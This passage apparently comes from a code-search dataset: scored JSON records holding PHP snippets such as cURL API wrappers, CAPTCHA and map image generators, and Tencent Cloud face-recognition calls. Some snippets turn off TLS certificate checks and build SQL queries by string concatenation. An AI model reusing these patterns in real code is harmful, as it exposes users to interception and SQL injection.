"0.42753148", "text": "function CallAPI($method, $url, $data = false)\r\n{\r\n $curl = curl_init();\r\n\r\n switch ($method)\r\n {\r\n case \"POST\":\r\n curl_setopt($curl, CURLOPT_POST, 1);\r\n\r\n if ($data)\r\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\r\n break;\r\n case \"PUT\":\r\n curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json','Content-Length: ' . strlen($data)));\r\n\t\t\tcurl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PUT');\r\n\t\t\tcurl_setopt($curl, CURLOPT_POSTFIELDS,$data);\r\n break;\r\n default:\r\n if ($data)\r\n $url = sprintf(\"%s?%s\", $url, http_build_query($data));\r\n }\r\n\r\n\r\n curl_setopt($curl, CURLOPT_URL, $url);\r\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\n\tcurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); \r\n\r\n $result = curl_exec($curl);\r\n\r\n curl_close($curl);\r\n\r\n return $result;\r\n}", "title": "" }, { "docid": "c8932154d5df156412ae8748a2054fc3", "score": "0.42720887", "text": "function getCanvas($rowid = 0, $ref = '') {\n global $conf;\n\n $ref = trim($ref);\n\n $sql = \"SELECT rowid, canvas\";\n $sql.= \" FROM \" . MAIN_DB_PREFIX . $this->table_element;\n $sql.= \" WHERE entity = \" . $conf->entity;\n if (!empty($rowid))\n $sql.= \" AND rowid = \" . $rowid;\n if (!empty($ref))\n $sql.= \" AND ref = '\" . $ref . \"'\";\n $sql.= \" AND entity = \".$conf->entity;\n\n $resql = $this->db->query($sql);\n if ($resql) {\n $obj = $this->db->fetch_object($resql);\n\n $this->rowid = $obj->rowid;\n $this->canvas = $obj->canvas;\n\n return 1;\n } else {\n CommonObject::printError($this->db);\n return -1;\n }\n }", "title": "" }, { "docid": "6df6f6b878069778c228c86b284840b4", "score": "0.4268999", "text": "public function image()\n {\n }", "title": "" }, { "docid": "df92ff583c3903a9795bd5f80b780da6", "score": "0.42588487", "text": "public function draw() {echo $this->getHtml();}", "title": "" }, { "docid": "ac22073256200ebd8d72fce1efd27d7d", "score": "0.42522034", "text": "function Rectifier() {}", "title": "" }, { "docid": "539f09f342e0a2884c51a343fb904e46", "score": "0.42508647", "text": "public function canvas_markup($options, $player_data, $robot_data){\n\n // Delegate markup generation to the canvas class\n return rpg_canvas::skill_markup($this, $options, $player_data, $robot_data);\n\n }", "title": "" }, { "docid": "3b14d68e359dcc4921a8d1698985285e", "score": "0.42473847", "text": "public function CaptchaPHP(){\n // Adapted for The Art of Web: www.the-art-of-web.com\n // Please acknowledge use of this code by including this header.\n\n // initialise image with dimensions of 120 x 30 pixels\n $width = isset($_GET[\"width\"]) ? $_GET[\"width\"] : 0;\n $height = isset($_GET[\"height\"]) ? $_GET[\"height\"] : 0;\n $centerX = ($width / 2) - 40;\n $centerY = ($height / 2) - 10;\n $image = @imagecreatetruecolor(intval($width), intval($height)) or die(\"Cannot Initialize new GD image stream\");\n\n // set background to white and allocate drawing colours\n $background = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);\n imagefill($image, 0, 0, $background);\n $linecolor = imagecolorallocate($image, 0xCC, 0xCC, 0xCC);\n $textcolor = imagecolorallocate($image, 0x33, 0x33, 0x33);\n\n // draw random lines on canvas\n for($i=0; $i < 6; $i++) {\n imagesetthickness($image, rand(1,3));\n imageline($image, 0, rand(0,68), 230, rand(0,68), $linecolor);\n }\n\n // session_start();\n\n // add random digits to canvas\n $digit = '';\n $x = $centerX;\n for($i = 1; $i <= 4; $i++) {\n $digit .= ($num = rand(0, 9));\n imagechar($image, rand(20, 50), $x, rand($centerY - 5, $centerY + 5), $num, $textcolor);\n $x += 20;\n }\n\n // record digits in session variable\n // $_SESSION['digit'] = $digit;\n if($this->CI->input->get('type') == 'session'){\n if($this->CI->session->has_userdata('digit')) {\n $this->CI->session->unset_userdata('digit');\n }\n $this->CI->session->set_userdata('digit',$digit);\n }\n else\n {\n $cookie = array(\n 'name' => $this->CI->router->class.'_digit',\n 'value' => $digit,\n 'expire' => '86500',\n 'path' => '/',\n );\n $this->CI->input->set_cookie($cookie);\n }\n\n // display image and clean up\n header('Content-type: image/png');\n imagepng($image);\n imagedestroy($image);\n }", "title": "" }, { "docid": "ff78d10bf1db2e57a6b8ed6fe3c505e1", "score": "0.4239302", "text": "public function displayCaptchaPicture();", "title": "" }, { "docid": "94d88c3afda08362035184bbd2a552ec", "score": "0.4238079", "text": "public function __call($function_name,$arguments) {\n return call_user_func(array($this,'requestAPI'),'api/'.$function_name,$arguments);\n }", "title": "" }, { "docid": "6a3858fa115a51a60354e928693c9141", "score": "0.42331982", "text": "public static function getCanvasHelper()\n {\n if (isset(static::$canvas_helper)) return static::$canvas_helper;\n\n return static::$canvas_helper = new FacebookCanvasLoginHelper();\n }", "title": "" }, { "docid": "27c76605575f3941366fcfba5f45af40", "score": "0.4232873", "text": "public function get_plans_coords()\r\n {\r\n $plan_id = $this->input->get('plan_id');\r\n\r\n $this->load->model('plan_actions');\r\n echo($this->plan_actions->get_plan_coords($plan_id));\r\n }", "title": "" }, { "docid": "b9ecdc52ac7060fb3147db884396a5b1", "score": "0.42295516", "text": "public function getImageOnline ();", "title": "" }, { "docid": "00d97f17fc39b18d1f82c51516021123", "score": "0.422864", "text": "public function apiAction(Request $request) {\n $logger = $this->get('logger');\n $logger->info('apiAction');\n $tokenId = $request->query->get('apikey');\n $phone = $request->query->get('phone');\n $sessionid = $request->cookies->get('PHPSESSID');\n $qr = $this->container->get('app.qrcode_routines');\n if (!$qr) {\n throw new \\InvalidArgumentException(\n 'No app.qrcode_routines service'\n );\n }\n $qr->cleanUp();\n $qr->populateToken($tokenId, $phone, $sessionid);\n $response = new Response();\n //$cookie = new Cookie('PHPSESSID','5kelut2lsl8hvf7oac9n06njt1');\n //$response->headers->setCookie($cookie);\n return $this->render('default/api.get.html.twig', ['phpsessid' => $sessionid,], $response);\n }", "title": "" }, { "docid": "eb71bdd9e26386fbd79b7dbddfd75149", "score": "0.42253312", "text": "function withdraw(string $resourceId, TaskParam $param);", "title": "" }, { "docid": "62c658ce419b6cd50fa21c7cf47e5aab", "score": "0.42245197", "text": "public function draw()\n {\n return $this->filterDraw($this->request->input('draw'));\n }", "title": "" }, { "docid": "9e284990363d7e6535c15db3692b793e", "score": "0.42234808", "text": "public function draw()\n {\n echo \"Circle: Draw() [Color : \" . $this->color\n .\", x : \".$this->x .\", y :\". $this->y .\", radius :\" .$this->radius.\"<br>\";\n }", "title": "" }, { "docid": "62a7a3bf91e22ccca56a299342b69c5e", "score": "0.42203984", "text": "public function renderImage() {\n\t\t// create the canvas\n\t\t$im = imagecreatetruecolor(400, 400);\n\t\t\n\t\t// allocate the colors. These should be constants later on\n\t\t$land_color = imagecolorallocate($im, 140, 255, 100);\n\t\t$water_color = imagecolorallocate($im, 100, 150, 255);\n\t\t$deepwater_color = imagecolorallocate($im, 50, 100, 255);\n\t\t$sand_color = imagecolorallocate($im, 250, 250, 20);\n\t\t$rock_color = imagecolorallocate($im, 150, 150, 150);\n\t\t$snow_color = imagecolorallocate($im, 255, 255, 255);\n\t\t$outline_color = imagecolorallocate($im, 210, 178, 127);\n\t\t$text_color = imagecolorallocate($im, 150, 118, 67);\n\t\t$city_color = imagecolorallocate($im, 255, 150, 100);\n\t\t\n\t\t// draw the outline for the map\n\t\timagefilledrectangle ($im , 0 , 0 , 400 , 400 , $outline_color);\n\t\t\n\t\t// draw cardinal directions on the outlines of the map\n\t\timagestring($im, 6, 197, 17, 'N', $text_color);\n\t\timagestring($im, 6, 196, 367, 'S', $text_color);\n\t\timagestring($im, 6, 22, 193, 'W', $text_color);\n\t\timagestring($im, 6, 372, 193, 'E', $text_color);\n\t\t\n\t\timageline($im, 200, 40, 200, 360, $text_color);\n\t\timageline($im, 40, 200, 360, 200, $text_color);\n\t\t\n\t\t// traverse the map array and draw every point as a rectangle\n\t\tfor($i=0; $i<100; $i++) {\n\t\t\tfor($j=0; $j<100; $j++) {\n\t\t\t\tswitch($this->map[$j+$i*100]) {\n\t\t\t\t\tcase MapPointType::DeepWater:\n\t\t\t\t\t\t$color = $deepwater_color;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MapPointType::Water:\n\t\t\t\t\t\t$color = $water_color;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MapPointType::Sand:\n\t\t\t\t\t\t$color = $sand_color;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MapPointType::Land:\n\t\t\t\t\t\t$color = $land_color;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MapPointType::Rock:\n\t\t\t\t\t\t$color = $rock_color;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MapPointType::Snow:\n\t\t\t\t\t\t$color = $snow_color;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MapPointType::Undefined:\n\t\t\t\t\t\t$color = $outline_color;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase MapPointType::City:\n\t\t\t\t\t\t$color = $city_color;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t// Draw the map point\n\t\t\t\timagefilledrectangle ($im , 50+$j*3 , 50+$i*3 , 50+$j*3+2 , 50+$i*3+2 , $color);\n\t\t\t}\n\t\t}\n\t\t\n\t\tob_start();\n\t\timagepng($im);\n\t\t// Get the image that was supposed to be put to the browser\n\t\t$img = ob_get_contents();\n\t\t// Clear the output buffer\n\t\tob_end_clean();\n\t\t\n\t\t// return the image ready to be displayed on the site\n\t\treturn '<img src=\"data:image/png;base64,'.base64_encode($img).'\" alt=\"Map cannot be shown for some reason\"/>';\n\t}", "title": "" }, { "docid": "f9b6cff1fe7ff4044c9a0e208cf1e5dc", "score": "0.4220149", "text": "function GraphicsGD($c, $width, $height) {\r\n\r\n $this->font = new ChartFont(null);\r\n $this->stringFormat = new StringFormat();\r\n $this->brush = new ChartBrush(null,null,null);\r\n $this->pen = new ChartPen(null,new Color(0,0,0));\r\n// $this->colorPalette = Theme::getSkyBluesPalette();\r\n $this->rotationCenter = new Point3D();\r\n\r\n $this->iPoints = array();\r\n $this->iPoints[0]=new TeePoint();\r\n $this->iPoints[1]=new TeePoint();\r\n $this->iPoints[2]=new TeePoint();\r\n $this->iPoints[3]=new TeePoint();\r\n\r\n $this->iPointDoubles = Array();\r\n $this->iPointDoubles[0]= new PointDouble();\r\n $this->iPointDoubles[1]= new PointDouble();\r\n $this->iPointDoubles[2]= new PointDouble();\r\n $this->iPointDoubles[3]= new PointDouble();\r\n\r\n\r\n $this->width = $width;\r\n $this->height= $height;\r\n\r\n parent::__construct($c); // TeeBase\r\n \r\n if ($this->chart != null) {\r\n $this->setAspect($this->chart->getAspect()); \r\n }\r\n }", "title": "" }, { "docid": "d5b6935a381f0590fa971cab12292cbf", "score": "0.42195675", "text": "function CircleDraw ($lat_one, $long_one, $radius, $datasrc, $time)\n{\n \n $hex = 0xC249255;\n $color = $datasrc * $hex;\n $out = \"<name>Data Visualization</name>\\n\";\n $out .= \"<visibility>1</visibility>\\n\";\n $out.= \"<Placemark>\\n\";\n $out.= \"<name>Dilution for node \".$datasrc.\" at \".$time.\"</name>\\n\";\n $out.= \"<visibility>1</visibility>\\n\";\n $out.= \"<Style>\\n\";\n $out.= \"<geomColor>\".dechex ($color).\"</geomColor>\\n\";\n $out.= \"<geomScale>1</geomScale></Style>\\n\";\n $out.= \"<LineString>\\n\";\n $out.= \"<coordinates>\\n\";\n // loop through the array and write path linestrings\n for ($i = 0; $i <= 360; $i++)\n {\n $out.= CirclePoints($lat_one,$long_one,$radius,$i).\",0 \";\n }\n $out.= \"</coordinates>\\n\";\n $out.= \"</LineString>\\n\";\n $out.= \"</Placemark>\\n\";\n\n return $out;\n}", "title": "" }, { "docid": "e7a7ba707c625bb1acc0e7c05772196a", "score": "0.42157856", "text": "function CallAPI($url) {\n//Used for Enigma API...only does GET calls, not POST,\n//but still is used to edit things in Enigma, depending on $url\n $ch = curl_init();\n $options = array(\n CURLOPT_URL => $url,\n CURLOPT_RETURNTRANSFER => true,\n CURLOPT_HEADER => false,\n CURLOPT_FOLLOWLOCATION => true,\n CURLOPT_ENCODING => \"\",\n CURLOPT_AUTOREFERER => true,\n CURLOPT_CONNECTTIMEOUT => 120,\n CURLOPT_TIMEOUT => 120,\n CURLOPT_MAXREDIRS => 10,\n CURLOPT_SSL_VERIFYHOST => 0,\n CURLOPT_SSL_VERIFYPEER => 0,\n CURLOPT_HTTPAUTH => CURLAUTH_ANY,\n CURLOPT_USERNAME => ENIG_API_USER,\n CURLOPT_PASSWORD => ENIG_API_PW,\n CURLOPT_RETURNTRANSFER => 1,\n);\n curl_setopt_array( $ch, $options );\n $response = curl_exec($ch);\n $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); //get status code\n\n if ( $httpCode != 200 ){\n $output = $httpCode . curl_error($ch);\n } else {\n $output = $response;\n }\n curl_close($ch);\n\n\n return $output;\n}", "title": "" }, { "docid": "f3bf94e20bf99d6cad29cdf8b5ea7e15", "score": "0.42146307", "text": "public function run()\n {\n $this->point(1, 50, 8);\n $this->point(2, 57, 140);\n $this->point(3, 155, 16);\n $this->point(4, 170, 165);\n $this->point(5, 175, 57);\n }", "title": "" }, { "docid": "ecb626a9458c58aec7289ab5040a78e4", "score": "0.42118827", "text": "function tencentCloudFaceIdentify($appid, $authorization, $group_id_s, $url)\n{\n $header = array(\n 'Content-Type: application/json',\n \"Host: recognition.image.myqcloud.com\",\n \"Authorization: \" . $authorization\n );\n\n $group_key = \"group_id\";\n if (is_array($group_id_s))\n $group_id_s = \"group_ids\";\n\n $data = array(\"appid\" => $appid, $group_key => $group_id_s, \"url\" => $url);\n $ret = curl_post_http(\"https://recognition.image.myqcloud.com/face/identify\", $header, $data);\n return $ret;\n}", "title": "" }, { "docid": "77cda6afa17ec55f42075cabc28944fe", "score": "0.42086446", "text": "function tencentCloudFaceDetect($appid, $authorization, $url, $mode = 1)\n{\n $header = array(\n 'Content-Type: application/json',\n \"Host: recognition.image.myqcloud.com\",\n \"Authorization: \" . $authorization\n );\n $data = array(\"appid\" => $appid, \"url\" => $url, \"mode\" => $mode);\n $ret = curl_post_http(\"http://recognition.image.myqcloud.com/face/detect\", $header, $data);\n return $ret;\n}", "title": "" }, { "docid": "16f3d406eeecabf2417f6b63aa521494", "score": "0.420826", "text": "private function dispatch(){\n $args = func_get_args()[0];\n $end = count($args) - 1;\n if(is_assoc_array($args[$end])){\n $kwargs = $args[$end];\n unset($args[$end]);\n }\n else{\n $kwargs = array();\n }\n $method = debug_backtrace()[1]['function'];\n $tocall = Concourse\\Dispatcher::send($method, $args, $kwargs);\n $callback = array($this->client, array_keys($tocall)[0]);\n $params = array_values($tocall)[0];\n $params[] = $this->creds;\n $params[] = $this->transaction;\n $params[] = $this->environment;\n return call_user_func_array($callback, $params);\n }", "title": "" }, { "docid": "0a11e0c8d7286f5f981844409fbb129a", "score": "0.4205498", "text": "function tencentCloudGetPersonInfo($appid, $authorization, $person_id)\n{\n $header = array(\n 'Content-Type: application/json',\n \"Host: recognition.image.myqcloud.com\",\n \"Authorization: \" . $authorization\n );\n $data = array(\"appid\" => $appid, \"person_id\" => $person_id);\n $ret = curl_post_http(\"https://recognition.image.myqcloud.com/face/getinfo\", $header, $data);\n\n return $ret;\n}", "title": "" }, { "docid": "2919dbee3686a19f3b590e644d155ce1", "score": "0.4205237", "text": "public static function do_api() {\n\n\t\t$action = $_REQUEST[ view_api::$endpoint ];\n\n\n\t\tif ( isset( $_GET[ self::$nonce_field ] ) && self::auth() ) {\n\t\t\t$code = 200;\n\t\t\t$response = self::route( $action );\n\t\t} else {\n\t\t\t$code = 401;\n\t\t\t$response = __( 'Nonce invalid.', 'foundri' );\n\t\t}\n\n\n\n\n\t\tself::respond( $response, $code );\n\n\t}", "title": "" }, { "docid": "1d75b2e67de7e9494e79993418773100", "score": "0.4205155", "text": "public function image() {\n\t\t\tConfigure::write('debug', 0);\n\t\t\tApp::import('Vendor', 'Dummy.DummyImageColor', array('file' => 'dummy_image'.DS.'dummy_image_color.php'));\t\t\t\n\t\t\t\n\t\t\t$this->DummyImageColorBackground = new DummyImageColor();\n\t\t\t$this->DummyImageColorBackground->set_hex(isset($this->request->params['pass'][1]) ? $this->request->params['pass'][1] : 'ccc');\n\n\t\t\t//Find the foreground color which is always after the 3rd param.\n\n\t\t\t$this->DummyImageColorForeground = new DummyImageColor();\n\t\t\t$this->DummyImageColorForeground->set_hex(isset($this->request->params['pass'][2]) ? $this->request->params['pass'][2] : '000');\n\n\t\t\t$file_format = isset($this->request->params['url']['ext']) ? $this->request->params['url']['ext'] : 'png';\n\n\t\t\t//Find the image dimensions\n\t\t\t$this->request->params['pass'][0] = isset($this->request->params['pass'][0]) ? $this->request->params['pass'][0] : '200x200';\n\t\t\t$dimensions = explode('x',$this->request->params['pass'][0]); \n\t\t\t$height = $width = preg_replace('/[^\\d]/i', '',$dimensions[0]);\n\t\t\tif (isset($dimensions[1]) && $dimensions[1]) {\n\t\t\t\t$height = preg_replace('/[^\\d]/i', '',$dimensions[1]);\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * limit the size\n\t\t\t */\n\t\t\tif ($width * $height >= 16000000) { \n\t\t\t\texit;\n\t\t\t}\n\n\t\t\t$text_angle = 0; //I don't use this but if you wanted to angle your text you would change it here.\n\n\t\t\t/**\n\t\t\t * If you want to use a different font simply upload the true type font\n\t\t\t * (.ttf) file to the same directory as this PHP file and set the $font\n\t\t\t * variable to the font file name. I'm using the M+ font which is free for\n\t\t\t * distribution -> http://www.fontsquirrel.com/fonts/M-1c\n\t\t\t */\n\t\t\t$font = App::pluginPath('Dummy') . 'vendors' . DS . 'dummy_image' . DS . 'mplus-1c-medium.ttf';\n\n\n\t\t\t$img = imageCreate($width, $height); //Create an image.\n\t\t\t$bg_color = imageColorAllocate($img, $this->DummyImageColorBackground->get_rgb('r'), $this->DummyImageColorBackground->get_rgb('g'), $this->DummyImageColorBackground->get_rgb('b'));\n\t\t\t$fg_color = imageColorAllocate($img, $this->DummyImageColorForeground->get_rgb('r'), $this->DummyImageColorForeground->get_rgb('g'), $this->DummyImageColorForeground->get_rgb('b'));\n\t\t\tunset($this->DummyImageColorBackground, $this->DummyImageColorForeground);\n\n\t\t\t$text = isset($this->request->params['named']['text']) ? $this->request->params['named']['text'] : $width.' x '.$height;\n\t\t\t$text = preg_replace('/\\|/i', \"\\n\", $text);\n\n\t\t\t//Ric Ewing: I modified this to behave better with long or narrow images and condensed the resize code to a single line.\n\t\t\t//$fontsize = max(min($width/strlen($text), $height/strlen($text)),5); //scale the text size based on the smaller of width/8 or hieght/2 with a minimum size of 5.\n\n\t\t\t$fontsize = max(min($width/strlen($text) * 1.15, $height * 0.5) ,5);\n\n\t\t\t$textBox = $this->__imagettfbbox_t($fontsize, $text_angle, $font, $text); //Pass these variable to a function that calculates the position of the bounding box.\n\n\t\t\t$textWidth = ceil( ($textBox[4] - $textBox[1]) * 1.07 ); //Calculates the width of the text box by subtracting the Upper Right \"X\" position with the Lower Left \"X\" position.\n\n\t\t\t$textHeight = ceil( (abs($textBox[7])+abs($textBox[1])) * 1 ); //Calculates the height of the text box by adding the absolute value of the Upper Left \"Y\" position with the Lower Left \"Y\" position.\n\n\t\t\t$textX = ceil( ($width - $textWidth)/2 ); //Determines where to set the X position of the text box so it is centered.\n\t\t\t$textY = ceil( ($height - $textHeight)/2 + $textHeight ); //Determines where to set the Y position of the text box so it is centered.\n\n\t\t\timageFilledRectangle($img, 0, 0, $width, $height, $bg_color); //Creates the rectangle with the specified background color. http://us2.php.net/manual/en/function.imagefilledrectangle.php\n\n\t\t\timagettftext($img, $fontsize, $text_angle, $textX, $textY, $fg_color, $font, $text);\t //Create and positions the text http://us2.php.net/manual/en/function.imagettftext.php\n\n\t\t\theader('Content-type: image/'.$file_format); //Set the header so the browser can interpret it as an image and not a bunch of weird text.\n\n\t\t\t//Create the final image based on the provided file format.\n\t\t\tswitch ($file_format) {\n\t\t\t\tcase 'gif':\n\t\t\t\t\timagegif($img);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'png':\n\t\t\t\t\timagepng($img);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'jpg':\n\t\t\t\t\timagejpeg($img);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'jpeg':\n\t\t\t\t\timagejpeg($img);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\timageDestroy($img);//Destroy the image to free memory.\n\t\t\texit;\n\t\t}", "title": "" }, { "docid": "db4a808cc507160269c00438347f9ea1", "score": "0.42019987", "text": "public function callAPI($auth){\n\t\t// create a new cURL resource\n\t\t$curl = curl_init();\n\t\t// set URL and other appropriate options\n\t\tcurl_setopt($curl, CURLOPT_URL, $this->getURL());\n\n\t\t//Set Headers\n\t\tcurl_setopt($curl, CURLOPT_HTTPHEADER, $this->getHeaders($auth));\n\t\tif($this->method() != \"GET\"){\n\t\t\tif($this->method() == \"POST\"){\n\t\t\t\tcurl_setopt($curl, CURLOPT_POST, 1);\n\t\t\t}else{\n\t\t\t\tcurl_setopt($curl, CURLOPT_CUSTOMREQUEST, $this->method());\n\t\t\t}\n\t\t}\n\n\t\t$headers = &$this->HTTP_HEADERS;\n\t\t$code = &$this->HTTP_CODE;\n\t\tcurl_setopt($curl,CURLOPT_HEADERFUNCTION,\n\t\t\t/*\n\t\t\t * https://stackoverflow.com/a/41135574/9301369\n\t\t\t * Here is a very clean method of performing this using PHP closures.\n\t\t\t * It also converts all headers to lowercase for consistent handling across servers and HTTP versions.\n\t\t\t */\n\t\t\tfunction($curl, $header) use (&$headers)\n\t\t\t{\n\t\t\t\t$len = strlen($header);\n\t\t\t\t$header = explode(':', $header, 2);\n\n\t\t\t\t// ignore invalid headers\n\t\t\t\tif (count($header) < 2)\n\t\t\t\t\treturn $len;\n\n\t\t\t\t$name = strtolower(trim($header[0]));\n\t\t\t\tif (!array_key_exists($name, $headers))\n\t\t\t\t\t$headers[$name] = [trim($header[1])];\n\t\t\t\telse\n\t\t\t\t\t$headers[$name][] = trim($header[1]);\n\n\t\t\t\treturn $len;\n\t\t\t});\n\n\n\t\t//Set Other Options based on request class\n\t\t$this->curlOptions($curl,$auth);\n\n\t\t//Have curl return result to variable\n\t\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n\t\t// grab URL and pass it to the browser\n\t\tif(!empty($this->exceptions)){\n\t\t\tif($this->level == 6 || $this->level == 1){\n\t\t\t\t$this->var_dump_pre($this->exceptions);\n\t\t\t}\n\t\t\tthrow $this->exceptions[0];\n\t\t}\n\n\t\t$result = curl_exec($curl);\n\t\t$this->HTTP_CODE = curl_getinfo($curl, CURLINFO_HTTP_CODE);\n\t\tif($this->level == 5 || $this->level == 1){\n\t\t\t$this->var_dump_pre(curl_errno($curl));\n\t\t\t$this->var_dump_pre(curl_error($curl));\n\t\t}\n\t\t//get info from request\n\t\tif($this->level == 3 || $this->level == 1 ){\n\t\t\t$information = curl_getinfo($curl);\n\t\t\t$this->var_dump_pre($information);\n\t\t}\n\t\tif($this->level == 5 || $this->level == 1 ){\n\t\t\t$this->var_dump_pre($result);\n\t\t}\n\t\t// close cURL resource, and free up system resources\n\t\tcurl_close($curl);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "2a6d061b9930267377ed88ebae6a2b50", "score": "0.42003462", "text": "function test()\n{\n global $appid, $secret_key, $secret_id, $web_server_ip;\n $auth = getAuthorization($appid, $secret_id, $secret_key);\n tencentCloudFaceAlive($web_server_ip . \"/photo/me1.png\", $appid, $auth);\n// tencentCloudAddPerson($appid, $auth, array(\"test\"), \"anon\", $web_server_ip.\"/photo/me1.png\");\n// tencentCloudAddFace($appid,$auth,\"anon\",array($web_server_ip.\"/photo/me1.png\"));\n// tencentCloudFaceVerify($appid, $auth, \"anon\", $url);\n// tencentCloudFaceIdentify($appid, $auth, \"test\", $url);\n// tencentCloudDeletePerson($appid,$auth,\"anon\");\n// tencentCloudDelFace($appid,$auth,\"anon\",array(\"2608353382257177155\"));\n// tencentCloudSetPersonInfo($appid,$auth,\"anon\",\"young me\");\n// tencentCloudGetPersonInfo($appid,$auth,\"anon\");\n// tencentCloudGetGroupIds($appid, $auth);\n// tencentCloudGetPersonIds($appid,$auth,\"test\");\n// tencentCloudGetFaceIds($appid,$auth,\"anon1\");\n// tencentCloudGetFaceInfo($appid,$auth,\"2605913984284553244\");\n// tencentCloudAddGroupsForPerson($appid,$auth,\"anon\",array(\"test1\",\"test2\"));\n// tencentCloudDeleteGroupsForPerson($appid,$auth,\"anon\",array(\"test1\",\"test2\"));\n// tencentCloudFaceCompare($appid,$auth,$web_server_ip.\"/photo/me1.png\",$web_server.\"/photo/me.png\");\n// tencentCloudMultIdentify($appid, $auth, $web_server_ip.\"/photo/me3.png\", \"test\");\n// tencentCloudFaceDetect($appid, $auth, $web_server_ip . \"/photo/me.png\");\n// tencentCloudFaceShape($appid, $auth, $web_server_ip . \"/photo/timg.jpg\");\n}", "title": "" }, { "docid": "ea2c17ea1a243f2dd853238f11fe2083", "score": "0.41917244", "text": "public function callAPI($url, $method, $parameters, $options);", "title": "" }, { "docid": "5f7ee59cd793d37ed42176fea2306538", "score": "0.4181459", "text": "public function graphicAction() {\n $url = $this->_request->getRequestUri();\n $part = explode(\"?\", $url);\n logit(\"URL: {$url} \" . print_r($part, true));\n $pinfo = explode(\"/\", $part[0]);\n $args = $part[1];\n logit('Vars: ' . print_r($pinfo, true));\n if ($pinfo[count($pinfo) - 1] == 'graphic') {\n $list = explode(',', $args);\n $name = $list[0];\n unset($list[0]);\n logit(print_r($list, true));\n // time to call the code\n $this->_helper->layout->disableLayout();\n $this->_helper->viewRenderer->setNoRender(true);\n switch ($name) {\n case 'incomplete' :\n $this->stacked_barchart();\n break;\n case 'compare' :\n $this->parallel_barchart();\n break;\n case 'auditspider' :\n $this->spider_chart();\n break;\n default :\n }\n }\n // exit();\n }", "title": "" }, { "docid": "8b3beb188c3b6e6b7028aa0861d6031d", "score": "0.41812548", "text": "public function createCallCredentialsCallback()\n {\n $credentialsLoader = $this->credentialsLoader;\n $callback = function () use ($credentialsLoader) {\n $token = $credentialsLoader->fetchAuthToken();\n return ['authorization' => array('Bearer ' . $token['access_token'])];\n };\n return $callback;\n }", "title": "" }, { "docid": "1982967e61689502d9232fc2b52b2749", "score": "0.41810742", "text": "function nyl_api_getDrawEntitlementOptions() {\n return array(\n \"bonus_ball\",\n \"draw_significant\",\n \"draw_notifications\",\n \"generate_duplicates\",\n \"jackpot_notifications\",\n \"live_draw\",\n \"number_generator\",\n \"simple_numbers\",\n \"sum_ball\",\n );\n}", "title": "" }, { "docid": "decaa7ff4fe3c283e41e51d63100a627", "score": "0.41801813", "text": "function genrateQRCode($survey_url = \"\") {\n require_once 'custom/biz/classes/qrGenerator.php';\n $ex1 = new QRGenerator($survey_url);\n $response_data = $ex1->generate();\n return $response_data;\n}", "title": "" }, { "docid": "7e0f04318998695a97057552591a56cc", "score": "0.41750342", "text": "public function getApiCallData();", "title": "" }, { "docid": "b9688b7042f0b632692fdcc0fbf53c9e", "score": "0.4172596", "text": "public function getRequestedImage();", "title": "" }, { "docid": "046541647c5cea74e26a55a6b06724c7", "score": "0.41682774", "text": "function drawConn ($lat, $long, $radius, $datasrc, $baseID, $time)\n{\n for (i$ = 0; $i <= 9; $i++)\n {\n\t$out = \"<Placemark>\\n\";\n\t$out .= TimeStamp($time);\n\t$out .= \"\\t<name>Connection between \".$baseID.\" and \".$datasrc.\"</name>\\n\";\n\t$out .= \"\\t<styleUrl>#con\".$datasrc.\"</styleUrl>\\n\";\n\t$out .= \"\\t<Point>\\n\\t <coordinates>\".CirclePoints($lat,$long,$i*40).\"</coordinates>\\n\\t</Point>\\n\";\n\t$out .= \"</Placemark>\\n\";\n }\n \n return $out;\n}", "title": "" }, { "docid": "57b321f148fcefd709fad604878af603", "score": "0.4167533", "text": "public function call() {\n\t\t\n\t\t$incoming_key = $this->app->request->params($this->parameter_name);\n\t\t\n\t\tif (strlen($this->parameter_name) < 1) {\n\t\t\t$this->set_response(array(\n\t\t\t\t'status' => 500,\n\t\t\t\t'title' => \"Internal Server Error\",\n\t\t\t\t'detail' => \"No valid name provided for API key parameter.\"\n\t\t\t));\n\t\t} else if ($incoming_key == null) {\n\t\t\t$this->set_response(array(\n\t\t\t\t'status' => 403,\n\t\t\t\t'title' => \"Forbidden\",\n\t\t\t\t'detail' => \"API key is not provided.\"\n\t\t\t));\n\t\t} else if (!in_array($incoming_key, $this->valid_keys, true)) {\n\t\t\t$this->set_response(array(\n\t\t\t\t'status' => 403,\n\t\t\t\t'title' => \"Forbidden\",\n\t\t\t\t'detail' => \"API key is not authorized.\"\n\t\t\t));\n\t\t} else {\n\t\t\t$this->next->call();\n\t\t}\n\t}", "title": "" }, { "docid": "b8c0bedbf6399498eefe0d1ca70e24f5", "score": "0.41620812", "text": "public function createChart() {\n $str = '<canvas id=\"' . $this->id . '\"></canvas>';\n\n $str .= \"\n <script>\n var ctx\" . $this->id . \" = document.getElementById('\" . $this->id . \"').getContext('2d');\n var options\" . $this->id . \" = \" . json_encode( $this->getChartAttribute() ) . \"\n var myChart\" . $this->id . \" = new Chart(ctx\" . $this->id . \", options\" . $this->id . \");\n </script>\n \";\n\n return $str;\n }", "title": "" }, { "docid": "f08017b019a930049ea47e67d69619be", "score": "0.41595525", "text": "function get_sequence_diagram($args) {\n $params = array();\n foreach ($args as $key => $value ) {\n $params[] = urlencode($key) . \"=\" . urlencode($value);\n }\n\n 